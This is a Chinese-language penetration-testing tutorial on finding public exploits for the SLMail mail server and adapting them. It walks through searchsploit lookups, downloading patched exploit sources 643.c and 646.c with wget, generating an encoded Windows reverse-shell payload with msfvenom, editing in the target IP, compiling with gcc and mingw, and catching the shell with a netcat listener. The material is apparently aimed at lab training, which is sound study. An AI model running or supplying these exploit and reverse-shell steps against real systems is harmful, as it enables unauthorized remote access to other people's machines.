本地查找exp
| searchsploit slmail
locate /643.c
|
互联网上查找exp
可靠的经过验证的公开exp来源:
exp debug
由于软件版本等问题,exp可能会执行不成功。
要搭建对应的操作系统版本和有漏洞的软件,作为目标环境,来测试exp。测试exp能够成功执行以后,再在目标上运行。
通常,公开exp的shellcode并不能直接使用。shellcode可能会弹出计算器、绑定无效的IP反弹shell。
如果漏洞对buffer size不敏感,那么就可以将shellcode直接替换为我们的。如果漏洞对于缓冲区大小很敏感,那么简单的替换shellcode,可能会导致漏洞利用失败。
在更复杂的情况下,比如说exp要绕过DEP和ASLR溢出保护,那么替换shellcode的方式更起不到效果。
exp修改案例
mingw是一个跨平台编译器,可以将这个代码编译为windows PE 可执行格式,使用wine在kali上运行。
| apt-get install mingw-w64
dpkg --add-architecture i386 && apt-get update apt-get install wine:i386
|
- 目标ip: 192.168.1.101
- kali ip: 192.168.1.100
编译643.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| searchsploit slmail locate /643.c cp /usr/share/exploitdb/exploits/windows/remote/643.c . 该c代码有错误,无法正确编译 --- wget https://raw.githubusercontent.com/sevro/security-utilities/master/c/slmail_linux/643-fixed.c
--- 将c代码中的shellcode替换一下,生成适合我们目标ip的shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
--- 目标ip替换一下: xs = conn("192.168.1.101"); --- 编译:
gcc 643-fixed.c -o exp chmod +x exp
nc -lnvp 443 ./exp
|
编译646.c
https://raw.githubusercontent.com/sevro/security-utilities/master/c/slmail_windows/646-fixed.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| wget https://raw.githubusercontent.com/sevro/security-utilities/master/c/slmail_windows/646-fixed.c --- 修改exp的shellcode msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d" --- 编译 i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe
i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe
x86_64-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe --- 运行 wine 646.exe 192.168.1.101
|